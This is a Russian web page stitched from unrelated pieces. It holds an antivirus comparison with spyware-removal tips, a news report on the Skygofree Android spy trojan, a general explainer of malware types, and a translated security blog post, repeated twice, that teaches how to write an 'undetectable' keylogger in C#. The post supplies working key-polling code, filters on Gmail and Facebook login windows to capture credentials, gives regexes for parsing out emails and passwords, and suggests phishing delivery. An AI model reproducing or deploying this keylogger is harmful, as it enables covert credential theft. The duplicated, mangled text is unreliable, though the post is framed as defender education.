• Шпионские программы. Вирусы, шпионы и диалеры: кто, зачем и как

    Для обнаружения признаков шпионской деятельности вредоносного ПО прислушайтесь к своим личным ощущениям. Если вам кажется, что компьютер стал работать гораздо медленнее или соединение с Интернетом уже не такое быстрое, каким должно быть, перед вами первые симптомы, требующие дальнейшего выяснения.

    Кстати, не каждый антивирус надежно распознает опасность. Обзор самых лучших систем вы найдете в таблице ниже. За них придется выложить от 800 до 1800 рублей, но зато они относительно хорошо защитят вас от атак. При этом не стоит бояться падения производительности из-за использования антивируса. Современные версии практически не влияют на скорость работы компьютера.

    Киберпреступники распространяют по 100 новых вирусов в час. Настольный компьютер - основная цель шпионского ПО. Вредителей можно обнаружить только при правильном выборе утилит. Лишь немногие программы надежно защитят ваш компьютер от шпионского ПО. Ниже представлены лидеры рынка.

    Цена, руб. (ок.) Общая оценка Распознавание Ложные
    тревоги
    Быстродействие
    1 Kaspersky Internet Security для всех устройств 1800 99,9 99,7 100 100
    2 BitDefender Internet Security 1600 97,5 100 96,3 93,6
    3 Symantec Norton Security Standard 1300 96,9 98,1 96,7 94,7
    4 Trend Micro Internet Security 800 94,3 90,8 98 97,5
    5 F-Secure SAFE 1800 83,6 84,5 82,5 83

    Используйте параллельно несколько сканеров

    Шпионское ПО окапывается либо в системе под видом службы, либо в отдельных программах. Некоторые особо глубоко угнездившиеся вирусы могут скрываться даже от современных защитных инструментов. Специалисты по информационной безопасности в последние годы постоянно обнаруживали уязвимости в антивирусных системах: лишь недавно эксперт Тавис Орманди , работающий в отделе Project Zero корпорации Google, вскрыл глубокие бреши в продуктах Symantec.

    В частности, он использовал то обстоятельство, что Symantec обладает правом распаковывать код внутри ядра Windows. Применив метод переполнения буфера, инженер смог выполнить вредоносный код с правами ядра и обойти тем самым антивирусную защиту - и это лишь один пример.

    Поэтому очень важно проводить проверку несколькими утилитами. Для дополнительной безопасности воспользуйтесь программой Farbar Recovery Scan Tool , которая сохраняет логи запущенных служб.

    Запустите утилиту и нажмите «Scan». По завершении процесса в папке программы вы найдете журнал под названием «frst.txt». Откройте этот файл и перейдите к разделу «Services». Здесь ищите имена, указывающие на шпионское ПО, например, «SpyHunter». Если вы в каком-то из них не уверены, проверьте в поиске Google.

    При обнаружении незваных гостей запустите программу SpyBot Search & Destroy и просканируйте систему. После этого снова запустите Farbar Tool . Если в результате вы перестали видеть подозрительную службу - вирус удален. В случае, когда SpyBot ничего не обнаруживает, примените сканер от Malwarebytes или ESET Online Scanner .

    Инструкция по защите

    Просканируйте свой ПК с помощью Farbar (1). Эта утилита отобразит все действующие службы в логе. Если ничего подозрительного найдено не было, пройдитесь по системе программой ESET Online Scanner (2). Наиболее коварные вирусы можно удалить только решением Rescue Disk от «Лаборатории Касперского» (3).

    Особые программы для помощи в экстренных случаях

    Даже при проведении разнообразных проверок стоит учесть, что существуют особо коварные вирусы, например, руткиты, укрывающиеся так глубоко в системе, что сканирование Farbar и другими программами не способно их обнаружить.

    Поэтому напоследок всегда проверяйте систему инструментом Kaspersky Rescue Disk . Он представляет собой систему Linux, запускающуюся отдельно от Windows и проверяющую ПК на основе современных сигнатур вирусов. Благодаря ему вы разоблачите даже самое заковыристое вредоносное ПО и очистите компьютер от шпионов.

    Для блокировки вынюхивающих программ в будущем необходимо пользоваться последней версией антивируса и устанавливать все ключевые системные обновления. Чтобы предложения от сторонних разработчиков, которые не обновляются автоматически, всегда были в наисвежайшем состоянии, обратитесь к комплексному антивирусному пакету Kaspersky Internet Security (лицензия на два устройства стоит 1800 рублей). Он же обеспечит антишпионскую защиту.

    Фото: компании-производители

    Специалисты «Лаборатории Касперского» обнаружили вредоносную программу для мобильных устройств на платформе Android, обладающую целым спектром технических возможностей. Сотрудники компании подчеркнули, что некоторые из функций троянского вируса (зловреда) были выявлены впервые.

    «Большинство троянов похожи друг на друга: пробравшись на устройства, они воруют платёжные данные его владельца, добывают для злоумышленников криптовалюту или шифруют данные, чтобы потребовать выкуп. Но иногда встречаются экземпляры, чьи возможности заставляют вспомнить голливудские фильмы про шпионов», — говорится в посвящённом вирусу сообщении «Лаборатории Касперского».

    Там рассказали, что обнаруженная вредоносная программа Skygofree обладает 48 различными функциями, в том числе и уникальными, которые специалисты компании прежде не встречали у зловредов.

    Например, троян Skygofree может отслеживать местоположение заражённого устройства и включать запись звука в тот момент, когда его владелец находится в определённом месте.

    «Ещё один интересный приём, который освоил Skygofree, — незаметно подключать заражённый смартфон или планшет к Wi-Fi-сетям, находящимся под полным контролем злоумышленников. Даже если владелец устройства вообще отключил Wi-Fi на устройстве», — рассказали в «Лаборатории Касперского».

    Это позволяет не только анализировать трафик жертвы, но и считывать вводимые пользователем логины, пароли или номера карт. Также зловред может следить за работой целого ряда мессенджеров, включая Facebook Messenger, WhatsApp, Skype и Viber, собирая их текстовые сообщения.

    «Наконец, Skygofree может скрытно включить фронтальную камеру и сделать снимок, когда пользователь разблокирует устройство», — добавили эксперты.

    • Reuters
    • Robert Galbraith

    Специалисты компании обнаружили Skygofree в начале октября 2017 года, однако в ходе изучения зловреда выяснилось, что первоначальные версии этой программы были созданы ещё в конце 2014 года. С тех пор функциональность трояна существенно увеличилась и программа приобрела некоторые уникальные способности.

    По данным «Лаборатории Касперского», Skygofree распространялся на интернет-страницах, имитирующих сайты мобильных операторов и посвящённых оптимизации скорости мобильного интернета.

    Согласно данным компании, атаке вируса подверглись лишь несколько пользователей, причём исключительно в Италии.

    Также в ходе исследования зловреда были обнаружены несколько шпионских инструментов для Windows, однако применялась ли программа для атаки на эту операционную систему, пока неизвестно.

    «Он не атакует сотни тысяч пользователей»

    RT поговорил с антивирусным экспертом «Лаборатории Касперского» Виктором Чебышевым, который рассказал некоторые подробности о новом вирусе. По его словам, Skygofree удавалось долгое время оставаться незаметным, поскольку этот шпион-троянец использует недокументированные возможности системы и повышает свои привилегии таким образом, что все его действия «остаются за кадром».

    «Он находится почти на уровне системы, и все возможности, которые он реализует, они для пользователя абсолютно прозрачны. То есть пользователь не видит никакой активности, не слышит никаких действий, просто остаётся в неведении», — пояснил Чебышев.

    Собеседник RT уточнил, что создать подобную программу очень непросто, поэтому над ней, скорее всего, работала целая команда профессионалов высокого уровня, разбирающихся во всех особенностях операционной системы Android.

    По словам антивирусного эксперта, ещё одна особенность вируса, позволившая ему действовать незамеченным, — это узкая направленность, заточенность Skygofree под атаку конкретного пользователя.

    «Это шпион, который ориентирован не на массовый сегмент. Он не атакует сотни тысяч пользователей, выжимая из них по чуть-чуть. Это шпионское приложение, которое атакует конкретных людей», — рассказал Чебышев.

    «Его создают так, чтобы он был невидим и для жертвы, и для всех остальных вокруг. Плюс у него есть механизмы зачистки следов, которые уничтожают его после того, как он отработал», — добавил эксперт.

    • Виктор Чебышев: это шпион, который не ориентирован на массовый сегмент

    Он уточнил, что целью шпионского вируса стали устройства на платформе Android, поскольку именно эта система позволяет устанавливать приложения из сторонних источников, а не только с официального магазина приложений Google Play. Тем не менее уязвимыми для подобных зловредных программ могут стать не только Android-устройства.

    «В других ОС такая возможность отсутствует, все приложения устанавливаются из одного централизованного источника, который модерируется. И вероятность заражения, таким образом, минимальна. Однако она не исключена», — пояснил эксперт.

    «Это целая команда, можно сказать, организованная преступная группировка. Ресурсы серьёзные», — отметил Чебышев.

    Эксперт уточнил, что основной целью раскрытого троянца никогда не была атака на широкие массы людей. Программа рассчитана именно на шпионаж, слежку за конкретным человеком, в устройства которого она «подсаживается». По его словам, спектр применения этой программы может простираться от промышленного шпионажа до слежки за госслужащими.

    «Основная задача этого троянца — понимание того, что происходит с жертвой, вокруг неё, что она делает, куда она ходит, с кем разговаривает, с какими документами она взаимодействует... Он умеет снимать видеокамерой, снимать фотографии, записывать разговоры в конкретной ситуации», — рассказал сотрудник «Лаборатории Касперского».

    • Виктор Чебышев: этот троян следит за конкретными людьми

    Антивирусный эксперт уточнил, что сразу после обнаружения вируса компания обеспечила своим клиентам защиту. Говоря об угрозе обычным пользователям по всему миру, Чебышев отметил, что они никогда не были целью зловреда, но призвал не расслабляться.

    «Если говорить про масс-рынок, про нас с вами, то атака, скорее всего, нам не грозила с самого начала. Атакуют конкретных лиц. Тем не менее (массовую атаку. — RT ) не стоит списывать со счетов: то, что реализовано в этом троянце, может быть растиражировано, оно может быть распространено на огромное число пользователей», — подчеркнул собеседник RT.

    Говоря о способах противостояния вирусной угрозе, эксперт призвал всех пользователей в первую очередь не устанавливать приложения из сторонних источников. Кроме того, он посоветовал потребителям обезопасить свои мобильные устройства, установив хорошее защитное решение, которое не позволит пройти по вредоносной ссылке и заблокирует установку вирусного приложения.

    «Обязательно нужно применять меры личной гигиены своего девайса. Потому что не ровён час атакуют вас, и тогда всё будет печально. С защитным решением же всё будет хорошо», — подытожил Чебышев.

    На самом деле лечить вирусы , это не очень сложная операция, чтобы платить специалистам огромные деньги за эту работу. Осуществить защиту компьютера от вирусов, или же в случае заражения вернуть компьютер в «здоровое» состояние, удалив вредоносные программы, можно и самому, выбрав хорошую антивирусную программу и соблюдая некоторое правила. Взять хотя бы два из важнейших: Первое - регулярно обновлять базы антивируса. Второе - один раз в месяц полностью проверять компьютер на наличие вирусов.

    Итак, с этим думаю понятно, что удаление вредоносных программ осуществляется с помощью антивирусов. Они бывают платные и бесплатные, про бесплатыне способы я рассказал в следующих статья:

    А теперь о том, что же такое вредоносная программа или же по-другому вирус?

    Компьютерный вирус или вредоносная программа - это программа, основной целью которой является: причинение вреда компьютеру, порча данных пользователя, кража или удаление личной информации, ухудшение работы компьютера и многое другое.

    На сегодняшний день вредоносные программы можно отнести к нескольким типам по их воздействию на компьютер.

    • Классические вирусы.
    • Троянские программы.
    • Шпионы.
    • Руткиты.
    • Adware.

    Рассмотрим каждый тип вредоносных программ подробнее.

    Классические вирусы – это вредоносные программы, которыми может быть заражен компьютер, например, через интернет. И суть таких вирусов заключается в саморазмножении. Такие вирусы копируют сами себя, копируют файлы и папки, которые находятся на зараженном компьютере. Делают они это с целью заразить данные, чтобы в дальнейшем их восстановление было невозможно. Этот вирус пытается повредить все данные на компьютере, занося свой код во все файлы начиная с файлов системы и заканчивая личными данными пользователя. Чаще всего спасением, на таком заражённом компьютере, является .

    Троянская программа – это серьезный тип вирусов. Троянские программы пишутся злоумышленниками под определенную цель, например, кража информации с компьютеров, или «увод» паролей и так далее.

    Троян делится на две части. Первая часть, под названием Сервер, хранится у злоумышленника, а вторая – Клиентская часть, распространяется по всем возможным уголкам интернета и в других местах. Если клиентская часть вредоносной программы попадает на компьютер, то этот ПК становится зараженным и троян начинает замаскированно отправлять злоумышленнику на его сервер различные сведения.

    Также троян может выполнять по запросу сервера (злоумышленника) различные операции на компьютере, воровать пароли, заражать документы и файлы вредоносным кодом.

    Шпионы , чем-то похожи на троянские программы. Но у них есть главное отличие и заключается оно в том, что шпионы не наносят вреда файлам системы и пользователя. Шпионские программы по-тихому устраиваются на компьютере и шпионят. Они могут воровать пароли или даже сохранять абсолютно все что вы вводите с клавиатуры.

    Программа шпион наиболее интеллектуальный тип вирусов и может даже отправлять файлы с зараженного компьютера. Шпион знает о зараженном ПК массу информации: какая система установлена, каким антивирусом вы пользуетесь, с какого браузера сидите в интернете, какие программы установлены на компьютере и так далее. Шпион – одна из самых опасных вредоносных программ.

    Руткиты – это сами по себе не вирусы. Но руткиты это программы, цель которых скрыть существование других вирусов на компьютере. Например, компьютер был заражен вирусом "шпион" одновременно с руткитом. И руткит будет пытаться скрыть, от вашего антивируса и операционной системы, шпиона. Соответственно наличие руткитов на компьютере не менее опасно, так как они могут достаточно хорошо работать и долгое время скрывать от глаз нашего антивируса кучу вирусов (шпионов, троянов)!

    Adware – это еще один тип вредоносного программного обеспечения. Это менее опасная программа, и суть её крутить рекламу на вашем компьютере всевозможными способами в различных местах. Adware не наносит какого-то вреда и не заражает, не портит файлы. Но от такого типа вирусов тоже нужно защищаться.

    Вот такие типы вредоносных программ существуют. Для защиты компьютера от вирусов нам понадобится хороший антивирус. О том, я рассказал в другой статье, а сейчас продолжим тему описания вирусов и схем защиты своего компьютера.

    Раньше у вирусов не было какой-то определенной цели, они писались для интереса и разработчик не задавался определенной целью. Сейчас же вирусы являются сложнейшими алгоритмами, суть которых чаще всего в краже денег и данных. Трояны, чаще всего, рассчитаны лишь на то, чтобы украсть пароли и другие важные данные.

    Кстати, был ли атакован Ваш компьютер вирусами можно отличить по некоторым признакам:

    • Программы работают неправильно или вовсе перестают работать.
    • Компьютер начал тормозить, работать медленно.
    • Некоторые файлы портятся, отказываются открываться.

    Очень часто такие признаки могут стать признаком заражения компьютера вирусами , но к счастью не всегда.

    Следует обратить внимание на то, что чаще всего один конкретный вирус может заражать различные типы файлов. Поэтому даже после излечения компьютера от сильной атаки вирусами наиболее правильным будет форматирование разделов.

    Защититься от вирусов, как я уже сказал выше, Вам помогут антивирусные программы. На сегодняшний день антивирусные программы обладают функциями, которых хватит чтобы отразить практически все вредоносные программы, которые распространяются в интернете. Но для максимальной защиты от вирусов важную роль играет правильно подобранная и настроенная антивирусная программа для полной «боевой» работоспособности. Я рекомендую Вам почитать статью о том, . Но если у Вас нет времени, то я прямо здесь назову Вам самые лучшие антивирусные программы. На сегодняшний день, это:

    • Касперский
    • Avast
    • Dr.Web
    • NOD32

    Думаю есть среди чего выбирать.

    Удачи и отличной Вам защиты от вирусов.

    2 июня 2016 в 12:29

    Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер

    • Блог компании Varonis Systems ,
    • Информационная безопасность ,
    • Программирование
    • Перевод
    • Recovery Mode

    Хакерский мир можно условно разделить на три группы атакующих:


    1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


    2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


    3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


    Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


    Зачем ИБ-персоналу эти сомнительные навыки?


    Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


    Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


    Кейлогер


    Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
    Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


    Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



    Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


    1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

    Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


    Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


    1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

    Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


    Умный кейлогер

    Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
    Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


    Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


    Вторая версия кода:


    1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

    Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


    Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


    Еще более умный кейлогер


    Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


    Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


    1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

    Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
    Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


    Для C# это выглядит так:


    1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

    Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


    Бесплатно и полностью не обнаружим


    В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
    Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


    Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


    Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



    В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой

  • информационная безопасность
  • Добавить метки 2 июня 2016 в 12:29

    Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер

    • Перевод

    Хакерский мир можно условно разделить на три группы атакующих:


    1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


    2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


    3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


    Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


    Зачем ИБ-персоналу эти сомнительные навыки?


    Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


    Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


    Кейлогер


    Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
    Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


    Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



    Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


    1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

    Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


    Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


    1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

    Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


    Умный кейлогер

    Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
    Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


    Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


    Вторая версия кода:


    1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

    Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


    Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


    Еще более умный кейлогер


    Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


    Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


    1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

    Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
    Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


    Для C# это выглядит так:


    1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

    Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


    Бесплатно и полностью не обнаружим


    В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
    Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


    Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


    Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



    В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой

  • информационная безопасность
  • Добавить метки